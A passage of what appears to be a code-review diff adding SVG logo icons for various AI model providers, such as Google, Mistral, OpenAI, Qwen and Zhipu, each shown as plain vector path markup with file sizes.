1.705-.128.735-.156.684-.837.419-.961-2.155-1.004-1.682-.595-2.113-.926 1.096-1.296 2.746-2.642 3.392-7.003.05-.347.007-.565 0-.845-.004-.17.035-.237.23-.256a4.173 4.173 0 001.545-.475c1.396-.763 1.96-2.015 2.093-3.517.02-.23-.004-.467-.247-.588zM11.581 18c-2.089-1.642-3.102-2.183-3.52-2.16-.392.024-.321.471-.235.763.09.288.207.486.371.739.114.167.192.416-.113.603-.673.416-1.842-.14-1.897-.167-1.361-.802-2.5-1.86-3.301-3.307-.774-1.393-1.224-2.887-1.298-4.482-.02-.386.093-.522.477-.592a4.696 4.696 0 011.529-.039c2.132.312 3.946 1.265 5.468 2.774.868.86 1.525 1.887 2.202 2.891.72 1.066 1.494 2.082 2.48 2.914.348.292.625.514.891.677-.802.09-2.14.11-3.054-.614zm1-6.44a.306.306 0 01.415-.287.302.302 0 01.2.288.306.306 0 01-.31.307.303.303 0 01-.304-.308zm3.11 1.596c-.2.081-.399.151-.59.16a1.245 1.245 0 01-.798-.254c-.274-.23-.47-.358-.552-.758a1.73 1.73 0 01.016-.588c.07-.327-.008-.537-.239-.727-.187-.156-.426-.199-.688-.199a.559.559 0 01-.254-.078c-.11-.054-.2-.19-.114-.358.028-.054.16-.186.192-.21.356-.202.767-.136 1.146.016.352.144.618.408 1.001.782.391.451.462.576.685.914.176.265.336.537.445.848.067.195-.019.354-.25.452z" fill="#4D6BFE"></path></svg>

After

Width:  |  Height:  |  Size: 2.1 KiB

@@ -0,0 +1 @@
<svg height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>Google</title><path d="M23 12.245c0-.905-.075-1.565-.236-2.25h-10.54v4.083h6.186c-.124 1.014-.797 2.542-2.294 3.569l-.021.136 3.332 2.53.23.022C21.779 18.417 23 15.593 23 12.245z" fill="#4285F4"></path><path d="M12.225 23c3.03 0 5.574-.978 7.433-2.665l-3.542-2.688c-.948.648-2.22 1.1-3.891 1.1a6.745 6.745 0 01-6.386-4.572l-.132.011-3.465 2.628-.045.124C4.043 20.531 7.835 23 12.225 23z" fill="#34A853"></path><path d="M5.84 14.175A6.65 6.65 0 015.463 12c0-.758.138-1.491.361-2.175l-.006-.147-3.508-2.67-.115.054A10.831 10.831 0 001 12c0 1.772.436 3.447 1.197 4.938l3.642-2.763z" fill="#FBBC05"></path><path d="M12.225 5.253c2.108 0 3.529.892 4.34 1.638l3.167-3.031C17.787 2.088 15.255 1 12.225 1 7.834 1 4.043 3.469 2.197 7.062l3.63 2.763a6.77 6.77 0 016.398-4.572z" fill="#EB4335"></path></svg>

After

Width:  |  Height:  |  Size: 920 B

+1
View File
@@ -0,0 +1 @@
<svg fill="currentColor" fill-rule="evenodd" height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>Grok</title><path d="M9.27 15.29l7.978-5.897c.391-.29.95-.177 1.137.272.98 2.369.542 5.215-1.41 7.169-1.951 1.954-4.667 2.382-7.149 1.406l-2.711 1.257c3.889 2.661 8.611 2.003 11.562-.953 2.341-2.344 3.066-5.539 2.388-8.42l.006.007c-.983-4.232.242-5.924 2.75-9.383.06-.082.12-.164.179-.248l-3.301 3.305v-.01L9.267 15.292M7.623 16.723c-2.792-2.67-2.31-6.801.071-9.184 1.761-1.763 4.647-2.483 7.166-1.425l2.705-1.25a7.808 7.808 0 00-1.829-1A8.975 8.975 0 005.984 5.83c-2.533 2.536-3.33 6.436-1.962 9.764 1.022 2.487-.653 4.246-2.34 6.022-.599.63-1.199 1.259-1.682 1.925l7.62-6.815"></path></svg>

After

Width:  |  Height:  |  Size: 756 B

+1
View File
@@ -0,0 +1 @@
<svg fill="currentColor" fill-rule="evenodd" height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>Groq</title><path d="M12.036 2c-3.853-.035-7 3-7.036 6.781-.035 3.782 3.055 6.872 6.908 6.907h2.42v-2.566h-2.292c-2.407.028-4.38-1.866-4.408-4.23-.029-2.362 1.901-4.298 4.308-4.326h.1c2.407 0 4.358 1.915 4.365 4.278v6.305c0 2.342-1.944 4.25-4.323 4.279a4.375 4.375 0 01-3.033-1.252l-1.851 1.818A7 7 0 0012.029 22h.092c3.803-.056 6.858-3.083 6.879-6.816v-6.5C18.907 4.963 15.817 2 12.036 2z"></path></svg>

After

Width:  |  Height:  |  Size: 568 B

+1
View File
@@ -0,0 +1 @@
<svg fill="currentColor" fill-rule="evenodd" height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>Kimi</title><path d="M21.846 0a1.923 1.923 0 110 3.846H20.15a.226.226 0 01-.227-.226V1.923C19.923.861 20.784 0 21.846 0z"></path><path d="M11.065 11.199l7.257-7.2c.137-.136.06-.41-.116-.41H14.3a.164.164 0 00-.117.051l-7.82 7.756c-.122.12-.302.013-.302-.179V3.82c0-.127-.083-.23-.185-.23H3.186c-.103 0-.186.103-.186.23V19.77c0 .128.083.23.186.23h2.69c.103 0 .186-.102.186-.23v-3.25c0-.069.025-.135.069-.178l2.424-2.406a.158.158 0 01.205-.023l6.484 4.772a7.677 7.677 0 003.453 1.283c.108.012.2-.095.2-.23v-3.06c0-.117-.07-.212-.164-.227a5.028 5.028 0 01-2.027-.807l-5.613-4.064c-.117-.078-.132-.279-.028-.381z"></path></svg>

After

Width:  |  Height:  |  Size: 786 B

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 5.9 KiB

@@ -0,0 +1 @@
<svg height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>Azure</title><path d="M11.49 2H2v9.492h9.492V2h-.002z" fill="#F25022"></path><path d="M22 2h-9.492v9.492H22V2z" fill="#7FBA00"></path><path d="M11.49 12.508H2V22h9.492v-9.492h-.002z" fill="#00A4EF"></path><path d="M22 12.508h-9.492V22H22v-9.492z" fill="#FFB900"></path></svg>

After

Width:  |  Height:  |  Size: 399 B

@@ -0,0 +1 @@
<svg height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>Minimax</title><defs><linearGradient id="lobe-icons-minimax-_R_0_" x1="0%" x2="100.182%" y1="50.057%" y2="50.057%"><stop offset="0%" stop-color="#E2167E"></stop><stop offset="100%" stop-color="#FE603C"></stop></linearGradient></defs><path d="M16.278 2c1.156 0 2.093.927 2.093 2.07v12.501a.74.74 0 00.744.709.74.74 0 00.743-.709V9.099a2.06 2.06 0 012.071-2.049A2.06 2.06 0 0124 9.1v6.561a.649.649 0 01-.652.645.649.649 0 01-.653-.645V9.1a.762.762 0 00-.766-.758.762.762 0 00-.766.758v7.472a2.037 2.037 0 01-2.048 2.026 2.037 2.037 0 01-2.048-2.026v-12.5a.785.785 0 00-.788-.753.785.785 0 00-.789.752l-.001 15.904A2.037 2.037 0 0113.441 22a2.037 2.037 0 01-2.048-2.026V18.04c0-.356.292-.645.652-.645.36 0 .652.289.652.645v1.934c0 .263.142.506.372.638.23.131.514.131.744 0a.734.734 0 00.372-.638V4.07c0-1.143.937-2.07 2.093-2.07zm-5.674 0c1.156 0 2.093.927 2.093 2.07v11.523a.648.648 0 01-.652.645.648.648 0 01-.652-.645V4.07a.785.785 0 00-.789-.78.785.785 0 00-.789.78v14.013a2.06 2.06 0 01-2.07 2.048 2.06 2.06 0 01-2.071-2.048V9.1a.762.762 0 00-.766-.758.762.762 0 00-.766.758v3.8a2.06 2.06 0 01-2.071 2.049A2.06 2.06 0 010 12.9v-1.378c0-.357.292-.646.652-.646.36 0 .653.29.653.646V12.9c0 .418.343.757.766.757s.766-.339.766-.757V9.099a2.06 2.06 0 012.07-2.048 2.06 2.06 0 012.071 2.048v8.984c0 .419.343.758.767.758.423 0 .766-.339.766-.758V4.07c0-1.143.937-2.07 2.093-2.07z" fill="url(#lobe-icons-minimax-_R_0_)" fill-rule="nonzero"></path></svg>

After

Width:  |  Height:  |  Size: 1.5 KiB

@@ -0,0 +1 @@
<svg height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>Mistral</title><path d="M3.428 3.4h3.429v3.428H3.428V3.4zm13.714 0h3.43v3.428h-3.43V3.4z" fill="gold"></path><path d="M3.428 6.828h6.857v3.429H3.429V6.828zm10.286 0h6.857v3.429h-6.857V6.828z" fill="#FFAF00"></path><path d="M3.428 10.258h17.144v3.428H3.428v-3.428z" fill="#FF8205"></path><path d="M3.428 13.686h3.429v3.428H3.428v-3.428zm6.858 0h3.429v3.428h-3.429v-3.428zm6.856 0h3.43v3.428h-3.43v-3.428z" fill="#FA500F"></path><path d="M0 17.114h10.286v3.429H0v-3.429zm13.714 0H24v3.429H13.714v-3.429z" fill="#E10500"></path></svg>

After

Width:  |  Height:  |  Size: 655 B

@@ -0,0 +1 @@
<svg fill="currentColor" fill-rule="evenodd" height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>MoonshotAI</title><path d="M1.052 16.916l9.539 2.552a21.007 21.007 0 00.06 2.033l5.956 1.593a11.997 11.997 0 01-5.586.865l-.18-.016-.044-.004-.084-.009-.094-.01a11.605 11.605 0 01-.157-.02l-.107-.014-.11-.016a11.962 11.962 0 01-.32-.051l-.042-.008-.075-.013-.107-.02-.07-.015-.093-.019-.075-.016-.095-.02-.097-.023-.094-.022-.068-.017-.088-.022-.09-.024-.095-.025-.082-.023-.109-.03-.062-.02-.084-.025-.093-.028-.105-.034-.058-.019-.08-.026-.09-.031-.066-.024a6.293 6.293 0 01-.044-.015l-.068-.025-.101-.037-.057-.022-.08-.03-.087-.035-.088-.035-.079-.032-.095-.04-.063-.028-.063-.027a5.655 5.655 0 01-.041-.018l-.066-.03-.103-.047-.052-.024-.096-.046-.062-.03-.084-.04-.086-.044-.093-.047-.052-.027-.103-.055-.057-.03-.058-.032a6.49 6.49 0 01-.046-.026l-.094-.053-.06-.034-.051-.03-.072-.041-.082-.05-.093-.056-.052-.032-.084-.053-.061-.039-.079-.05-.07-.047-.053-.035a7.785 7.785 0 01-.054-.036l-.044-.03-.044-.03a6.066 6.066 0 01-.04-.028l-.057-.04-.076-.054-.069-.05-.074-.054-.056-.042-.076-.057-.076-.059-.086-.067-.045-.035-.064-.052-.074-.06-.089-.073-.046-.039-.046-.039a7.516 7.516 0 01-.043-.037l-.045-.04-.061-.053-.07-.062-.068-.06-.062-.058-.067-.062-.053-.05-.088-.084a13.28 13.28 0 01-.099-.097l-.029-.028-.041-.042-.069-.07-.05-.051-.05-.053a6.457 6.457 0 01-.168-.179l-.08-.088-.062-.07-.071-.08-.042-.049-.053-.062-.058-.068-.046-.056a7.175 7.175 0 01-.027-.033l-.045-.055-.066-.082-.041-.052-.05-.064-.02-.025a11.99 11.99 0 01-1.44-2.402zm-1.02-5.794l11.353 3.037a20.468 20.468 0 00-.469 2.011l10.817 2.894a12.076 12.076 0 01-1.845 2.005L.657 15.923l-.016-.046-.035-.104a11.965 11.965 0 01-.05-.153l-.007-.023a11.896 11.896 0 01-.207-.741l-.03-.126-.018-.08-.021-.097-.018-.081-.018-.09-.017-.084-.018-.094c-.026-.141-.05-.283-.071-.426l-.017-.118-.011-.083-.013-.102a12.01 12.01 0 01-.019-.161l-.005-.047a12.12 12.12 0 01-.034-2.145zm1.593-5.15l11.948 3.196c-.368.605-.705 1.231-1.01 1.875l11.295 3.022c-.142.82-.368 1.612-.668 2.365l-11.55-3.09L.124 10.26l.015-.1.008-.049.01-.067.015-.087.018-.098c.026-.148.056-.295.088-.442l.028-.124.02-.085.024-.097c.022-.09.045-.18.07-.268l.028-.102.023-.083.03-.1.025-.082.03-.096.026-.082.031-.095a11.896 11.896 0 011.01-2.232zm4.442-4.4L17.352 4.59a20.77 20.77 0 00-1.688 1.721l7.823 2.093c.267.852.442 1.744.513 2.665L2.106 5.213l.045-.065.027-.04.04-.055.046-.065.055-.076.054-.072.064-.086.05-.065.057-.073.055-.07.06-.074.055-.069.065-.077.054-.066.066-.077.053-.06.072-.082.053-.06.067-.074.054-.058.073-.078.058-.06.063-.067.168-.17.1-.098.059-.056.076-.071a12.084 12.084 0 012.272-1.677zM12.017 0h.097l.082.001.069.001.054.002.068.002.046.001.076.003.047.002.06.003.054.002.087.005.105.007.144.011.088.007.044.004.077.008.082.008.047.005.102.012.05.006.108.014.081.01.042.006.065.01.207.032.07.012.065.011.14.026.092.018.11.022.046.01.075.016.041.01L14.7.3l.042.01.065.015.049.012.071.017.096.024.112.03.113.03.113.032.05.015.07.02.078.024.073.023.05.016.05.016.076.025.099.033.102.036.048.017.064.023.093.034.11.041.116.045.1.04.047.02.06.024.041.018.063.026.04.018.057.025.11.048.1.046.074.035.075.036.06.028.092.046.091.045.102.052.053.028.049.026.046.024.06.033.041.022.052.029.088.05.106.06.087.051.057.034.053.032.096.059.088.055.098.062.036.024.064.041.084.056.04.027.062.042.062.043.023.017c.054.037.108.075.161.114l.083.06.065.048.056.043.086.065.082.064.04.03.05.041.086.069.079.065.085.071c.712.6 1.353 1.283 1.909 2.031L7.222.994l.062-.027.065-.028.081-.034.086-.035c.113-.045.227-.09.341-.131l.096-.035.093-.033.084-.03.096-.031c.087-.03.176-.058.264-.085l.091-.027.086-.025.102-.03.085-.023.1-.026L9.04.37l.09-.023.091-.022.095-.022.09-.02.098-.021.091-.02.095-.018.092-.018.1-.018.091-.016.098-.017.092-.014.097-.015.092-.013.102-.013.091-.012.105-.012.09-.01.105-.01c.093-.01.186-.018.28-.024l.106-.008.09-.005.11-.006.093-.004.1-.004.097-.002.099-.002.197-.002z"></path></svg>

After

Width:  |  Height:  |  Size: 3.9 KiB

@@ -0,0 +1 @@
<svg height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>Nvidia</title><path d="M10.212 8.976V7.62c.127-.01.256-.017.388-.021 3.596-.117 5.957 3.184 5.957 3.184s-2.548 3.647-5.282 3.647a3.227 3.227 0 01-1.063-.175v-4.109c1.4.174 1.681.812 2.523 2.258l1.873-1.627a4.905 4.905 0 00-3.67-1.846 6.594 6.594 0 00-.729.044m0-4.476v2.025c.13-.01.259-.019.388-.024 5.002-.174 8.261 4.226 8.261 4.226s-3.743 4.69-7.643 4.69c-.338 0-.675-.031-1.007-.092v1.25c.278.038.558.057.838.057 3.629 0 6.253-1.91 8.794-4.169.421.347 2.146 1.193 2.501 1.564-2.416 2.083-8.048 3.763-11.24 3.763-.308 0-.603-.02-.894-.048V19.5H24v-15H10.21zm0 9.756v1.068c-3.356-.616-4.287-4.21-4.287-4.21a7.173 7.173 0 014.287-2.138v1.172h-.005a3.182 3.182 0 00-2.502 1.178s.615 2.276 2.507 2.931m-5.961-3.3c1.436-1.935 3.604-3.148 5.961-3.336V6.523C5.81 6.887 2 10.723 2 10.723s2.158 6.427 8.21 7.015v-1.166C5.77 16 4.25 10.958 4.25 10.958h-.002z" fill="#74B71B" fill-rule="nonzero"></path></svg>

After

Width:  |  Height:  |  Size: 1.0 KiB

@@ -0,0 +1 @@
<svg fill="currentColor" fill-rule="evenodd" height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>OpenAI</title><path d="M9.205 8.658v-2.26c0-.19.072-.333.238-.428l4.543-2.616c.619-.357 1.356-.523 2.117-.523 2.854 0 4.662 2.212 4.662 4.566 0 .167 0 .357-.024.547l-4.71-2.759a.797.797 0 00-.856 0l-5.97 3.473zm10.609 8.8V12.06c0-.333-.143-.57-.429-.737l-5.97-3.473 1.95-1.118a.433.433 0 01.476 0l4.543 2.617c1.309.76 2.189 2.378 2.189 3.948 0 1.808-1.07 3.473-2.76 4.163zM7.802 12.703l-1.95-1.142c-.167-.095-.239-.238-.239-.428V5.899c0-2.545 1.95-4.472 4.591-4.472 1 0 1.927.333 2.712.928L8.23 5.067c-.285.166-.428.404-.428.737v6.898zM12 15.128l-2.795-1.57v-3.33L12 8.658l2.795 1.57v3.33L12 15.128zm1.796 7.23c-1 0-1.927-.332-2.712-.927l4.686-2.712c.285-.166.428-.404.428-.737v-6.898l1.974 1.142c.167.095.238.238.238.428v5.233c0 2.545-1.974 4.472-4.614 4.472zm-5.637-5.303l-4.544-2.617c-1.308-.761-2.188-2.378-2.188-3.948A4.482 4.482 0 014.21 6.327v5.423c0 .333.143.571.428.738l5.947 3.449-1.95 1.118a.432.432 0 01-.476 0zm-.262 3.9c-2.688 0-4.662-2.021-4.662-4.519 0-.19.024-.38.047-.57l4.686 2.71c.286.167.571.167.856 0l5.97-3.448v2.26c0 .19-.07.333-.237.428l-4.543 2.616c-.619.357-1.356.523-2.117.523zm5.899 2.83a5.947 5.947 0 005.827-4.756C22.287 18.339 24 15.84 24 13.296c0-1.665-.713-3.282-1.998-4.448.119-.5.19-.999.19-1.498 0-3.401-2.759-5.947-5.946-5.947-.642 0-1.26.095-1.88.31A5.962 5.962 0 0010.205 0a5.947 5.947 0 00-5.827 4.757C1.713 5.447 0 7.945 0 10.49c0 1.666.713 3.283 1.998 4.448-.119.5-.19 1-.19 1.499 0 3.401 2.759 5.946 5.946 5.946.642 0 1.26-.095 1.88-.309a5.96 5.96 0 004.162 1.713z"></path></svg>

After

Width:  |  Height:  |  Size: 1.6 KiB

+1
View File
@@ -0,0 +1 @@
<svg height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>Qwen</title><path d="M19.713 2.825h-5.907c0-.251-.066-.503-.196-.728L12.819.728A1.46 1.46 0 0 0 11.559 0h-1.58c-.52 0-1 .275-1.26.728l-2.42 4.19a1.45 1.45 0 0 0 0 1.453l.791 1.37c.26.448.74.727 1.26.727h11.36c.52 0 1-.275 1.26-.728l.79-1.37a1.45 1.45 0 0 0 0-1.451l-.79-1.37a1.46 1.46 0 0 0-1.26-.728zM.195 9.905l2.951 5.115a1.46 1.46 0 0 0-.531.531l-.791 1.37a1.45 1.45 0 0 0 0 1.452l.79 1.37c.26.448.74.727 1.26.727h4.84c.52 0 1-.275 1.26-.728l.79-1.37a1.45 1.45 0 0 0 0-1.451L5.086 7.083a1.46 1.46 0 0 0-1.26-.728h-1.58c-.52 0-1 .276-1.26.728l-.79 1.37a1.45 1.45 0 0 0 0 1.452m15.888 13.367 2.951-5.115c.217.125.469.196.728.196h1.582c.52 0 1-.275 1.26-.728l.79-1.37a1.45 1.45 0 0 0 0-1.451l-2.42-4.191a1.46 1.46 0 0 0-1.259-.728h-1.582c-.52 0-1 .276-1.259.728l-5.678 9.838a1.45 1.45 0 0 0 0 1.452l.79 1.37c.26.448.74.727 1.26.727h1.582c.52 0 1-.275 1.26-.728z" fill="#082dff"></path></svg>

After

Width:  |  Height:  |  Size: 1016 B

@@ -0,0 +1 @@
<svg height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>SenseNova</title><path d="M23 8.333h-7.333v7.334H23V8.333z" fill="#06FDB7"></path><path d="M1 1v14.667h7.333V8.333h7.334V1H1z" fill="#5B2AD8"></path><path d="M14.038 4.333h.17l1.459 1.456v.17l-1.63-1.626zM13.224 4.333h.17l2.273 2.268v.17l-2.443-2.438zM12.41 4.333h.17l3.087 3.08v.17l-3.257-3.25zM11.596 4.333h.17l3.9 3.892v.108h-.06l-4.01-4zM10.782 4.333h.17l4.01 4h-.17l-4.01-4zM9.968 4.333h.17l4.009 4h-.17l-4.01-4zM9.154 4.333h.17l4.009 4h-.17l-4.01-4zM8.34 4.333h.17l4.01 4h-.17l-4.01-4zM7.521 4.333h.17l4.01 4h-.17l-4.01-4zM6.707 4.333h.17l4.01 4h-.17l-4.01-4zM5.892 4.333h.17l4.009 4h-.17l-4.01-4zM5.077 4.333h.17l4.01 4h-.17l-4.01-4zM4.333 4.403v-.07h.1l4.01 4h-.11v.06l-4-3.99zM4.333 5.215v-.17l4 3.991v.17l-4-3.99zM4.333 6.027v-.17l4 3.991v.17l-4-3.99zM4.333 6.84v-.17l4 3.99v.17l-4-3.99zM4.333 7.652v-.17l4 3.99v.17l-4-3.99zM4.333 8.464v-.17l4 3.99v.17l-4-3.99zM4.333 9.276v-.17l4 3.991v.17l-4-3.991zM4.333 10.088v-.17l4 3.991v.17l-4-3.991zM4.333 10.9v-.17l4 3.991v.17l-4-3.991zM4.333 11.712v-.17l4 3.991v.134h-.036l-3.964-3.955zM4.333 12.526v-.17l3.318 3.31h-.17l-3.148-3.14zM4.333 13.34v-.169l2.502 2.496h-.17L4.333 13.34zM4.333 14.152v-.169l1.688 1.684h-.17l-1.518-1.514zM4.333 14.965v-.17l.874.872h-.17l-.704-.702zM15.667 5.146l-.815-.813h.17l.645.644v.169z" fill="#06FDB7"></path><path d="M23 15.667h-7.333V23H23v-7.333z" fill="#5B2AD8"></path><path d="M15.667 15.667H8.333V23h7.334v-7.333z" fill="#06FDB7"></path></svg>

After

Width:  |  Height:  |  Size: 1.5 KiB

+1
View File
@@ -0,0 +1 @@
<svg fill="currentColor" fill-rule="evenodd" height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>Grok</title><path d="M6.469 8.776L16.512 23h-4.464L2.005 8.776H6.47zm-.004 7.9l2.233 3.164L6.467 23H2l4.465-6.324zM22 2.582V23h-3.659V7.764L22 2.582zM22 1l-9.952 14.095-2.233-3.163L17.533 1H22z"></path></svg>

After

Width:  |  Height:  |  Size: 372 B

@@ -0,0 +1 @@
<svg fill="currentColor" fill-rule="evenodd" height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>XiaomiMiMo</title><path d="M.958 15.936a.459.459 0 01.459.44v2.729a.46.46 0 01-.918 0v-2.729a.459.459 0 01.459-.44zm4.814-2.035a.46.46 0 01.553.45v4.754a.458.458 0 11-.918 0V15.48L3.74 17.202a.462.462 0 01-.655.016.462.462 0 01-.065-.082L.628 14.67a.459.459 0 01.658-.637l2.124 2.187 2.127-2.188a.46.46 0 01.235-.13zm2.068.004a.46.46 0 01.458.445v4.755a.46.46 0 01-.458.458.459.459 0 01-.458-.458V14.35a.459.459 0 01.458-.445zm1.973 2.014a.46.46 0 01.46.457v2.729a.46.46 0 01-.784.324.46.46 0 01-.134-.324v-2.729a.46.46 0 01.458-.458zm.002-2.045a.458.458 0 01.328.157l2.127 2.19 2.125-2.19a.459.459 0 01.784.318v4.756a.46.46 0 01-.455.458.46.46 0 01-.458-.458V15.48l-1.667 1.723a.46.46 0 01-.65.008l-.005-.005c0-.002-.002-.002-.004-.003l-2.455-2.534a.46.46 0 01-.008-.667.461.461 0 01.338-.128zm6.797 1.206a.46.46 0 01.53.651A1.966 1.966 0 0019.81 18.4a.462.462 0 01.623.18.46.46 0 01-.181.624 2.863 2.863 0 01-1.38.353l-.142-.004a2.88 2.88 0 01-2.393-4.263.461.461 0 01.274-.21zm.864-.931a2.884 2.884 0 013.915 3.914.46.46 0 01-.402.24l-.057-.004a.458.458 0 01-.164-.055.46.46 0 01-.182-.622 1.967 1.967 0 00-2.669-2.67.459.459 0 11-.441-.803zM9.59 6.368c1.481 0 1.696 1.202 1.696 1.654v2.648h-.917v-.432c-.26.346-.792.535-1.36.535-.133 0-1.289-.03-1.384-1.136-.082-.932.675-1.61 2.053-1.61h.691c0-.563-.367-.886-.983-.886-.44.013-.864.174-1.2.458l-.36-.664c.484-.379 1.012-.567 1.764-.567zm4.427.1c1.263 0 2.082.97 2.083 2.15 0 1.181-.824 2.154-2.083 2.154-1.26 0-2.084-.972-2.084-2.152 0-1.18.82-2.153 2.084-2.153zm6.801.015c.68 0 1.202.465 1.197 1.548v2.642H21.1V8.29c0-.312-.002-.98-.63-.98s-.628.667-.628.838v2.524h-.89V8.148c0-.17-.001-.838-.63-.838-.628 0-.628.668-.628.98v2.383h-.917v-4.03h.917V7a1.22 1.22 0 01.947-.516c.398 0 .76.193.982.686a1.321 1.321 0 011.195-.686zm-18.093.872l1.457-1.772H5.32L3.311 8.07l2.14 2.602H4.24L2.725 8.796 1.21 10.672H0L2.138 8.07.13 5.583h1.138l1.458 1.772zm4.149 3.317h-.916V6.644h.916v4.028zm16.99 0h-.916V6.644h.916v4.028zM9.925 8.71c-1.055 0-1.359.412-1.326.742.032.329.324.537.757.537a1.013 1.013 0 001.014-.968l.002-.31h-.447zM14.018 7.3c-.663 0-1.184.487-1.184 1.32 0 .832.52 1.32 1.184 1.32.662 0 1.182-.49 1.182-1.32 0-.832-.52-1.32-1.182-1.32zM6.417 5.001a.568.568 0 01.587.582.588.588 0 01-1.175 0A.57.57 0 016.417 5zm16.991 0a.57.57 0 01.592.582.588.588 0 01-1.174 0 .57.57 0 01.357-.542.572.572 0 01.225-.04z"></path></svg>

After

Width:  |  Height:  |  Size: 2.5 KiB

+1
View File
@@ -0,0 +1 @@
<svg fill="currentColor" fill-rule="evenodd" height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>Yi</title><path d="M18.62 13.927c.611 0 1.107.505 1.107 1.128v5.817c0 .623-.496 1.128-1.108 1.128a1.118 1.118 0 01-1.108-1.128v-5.817c0-.623.496-1.128 1.108-1.128zM16.59 3.052a1.094 1.094 0 011.562-.129c.466.404.522 1.116.126 1.59l-5.938 7.111v9.147c0 .624-.496 1.129-1.108 1.129a1.118 1.118 0 01-1.108-1.129v-9.477l.003-.088.01-.087c.015-.232.102-.462.261-.654l6.192-7.413zM2.906 2.256a1.094 1.094 0 011.559.157l4.387 5.45a1.142 1.142 0 01-.155 1.587 1.094 1.094 0 01-1.559-.157l-4.387-5.45a1.144 1.144 0 01.06-1.498l.095-.09z"></path><ellipse cx="20.146" cy="10.692" fill="#00FF25" rx="1.354" ry="1.379"></ellipse></svg>

After

Width:  |  Height:  |  Size: 786 B

@@ -0,0 +1 @@
<svg height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>Zhipu</title><path d="M11.991 23.503a.24.24 0 00-.244.248.24.24 0 00.244.249.24.24 0 00.245-.249.24.24 0 00-.22-.247l-.025-.001zM9.671 5.365a1.697 1.697 0 011.099 2.132l-.071.172-.016.04-.018.054c-.07.16-.104.32-.104.498-.035.71.47 1.279 1.186 1.314h.366c1.309.053 2.338 1.173 2.286 2.523-.052 1.332-1.152 2.38-2.478 2.327h-.174c-.715.018-1.274.64-1.239 1.368 0 .124.018.23.053.337.209.373.54.658.96.8.75.23 1.517-.125 1.9-.782l.018-.035c.402-.64 1.17-.96 1.92-.711.854.284 1.378 1.226 1.099 2.167a1.661 1.661 0 01-2.077 1.102 1.711 1.711 0 01-.907-.711l-.017-.035c-.2-.323-.463-.58-.851-.711l-.056-.018a1.646 1.646 0 00-1.954.746 1.66 1.66 0 01-1.065.764 1.677 1.677 0 01-1.989-1.279c-.209-.906.332-1.83 1.257-2.043a1.51 1.51 0 01.296-.035h.018c.68-.071 1.151-.622 1.116-1.333a1.307 1.307 0 00-.227-.693 2.515 2.515 0 01-.366-1.403 2.39 2.39 0 01.366-1.208c.14-.195.21-.444.227-.693.018-.71-.506-1.261-1.186-1.332l-.07-.018a1.43 1.43 0 01-.299-.07l-.05-.019a1.7 1.7 0 01-1.047-2.114 1.68 1.68 0 012.094-1.101zm-5.575 10.11c.26-.264.639-.367.994-.27.355.096.633.379.728.74.095.362-.007.748-.267 1.013-.402.41-1.053.41-1.455 0a1.062 1.062 0 010-1.482zm14.845-.294c.359-.09.738.024.992.297.254.274.344.665.237 1.025-.107.36-.396.634-.756.718-.551.128-1.1-.22-1.23-.781a1.05 1.05 0 01.757-1.26zm-.064-4.39c.314.32.49.753.49 1.206 0 .452-.176.886-.49 1.206-.315.32-.74.5-1.185.5-.444 0-.87-.18-1.184-.5a1.727 1.727 0 010-2.412 1.654 1.654 0 012.369 0zm-11.243.163c.364.484.447 1.128.218 1.691a1.665 1.665 0 01-2.188.923c-.855-.36-1.26-1.358-.907-2.228a1.68 1.68 0 011.33-1.038c.593-.08 1.183.169 1.547.652zm11.545-4.221c.368 0 .708.2.892.524.184.324.184.724 0 1.048a1.026 1.026 0 01-.892.524c-.568 0-1.03-.47-1.03-1.048 0-.579.462-1.048 1.03-1.048zm-14.358 0c.368 0 .707.2.891.524.184.324.184.724 0 1.048a1.026 1.026 0 01-.891.524c-.569 0-1.03-.47-1.03-1.048 0-.579.461-1.048 1.03-1.048zm10.031-1.475c.925 0 1.675.764 1.675 1.706s-.75 1.705-1.675 1.705-1.674-.763-1.674-1.705c0-.942.75-1.706 1.674-1.706zm-2.626-.684c.362-.082.653-.356.761-.718a1.062 1.062 0 00-.238-1.028 1.017 1.017 0 00-.996-.294c-.547.14-.881.7-.752 1.257.13.558.675.907 1.225.783zm0 16.876c.359-.087.644-.36.75-.72a1.062 1.062 0 00-.237-1.019 1.018 1.018 0 00-.985-.301 1.037 1.037 0 00-.762.717c-.108.361-.017.754.239 1.028.245.263.606.377.953.305l.043-.01zM17.19 3.5a.631.631 0 00.628-.64c0-.355-.279-.64-.628-.64a.631.631 0 00-.628.64c0 .355.28.64.628.64zm-10.38 0a.631.631 0 00.628-.64c0-.355-.28-.64-.628-.64a.631.631 0 00-.628.64c0 .355.279.64.628.64zm-5.182 7.852a.631.631 0 00-.628.64c0 .354.28.639.628.639a.63.63 0 00.627-.606l.001-.034a.62.62 0 00-.628-.64zm5.182 9.13a.631.631 0 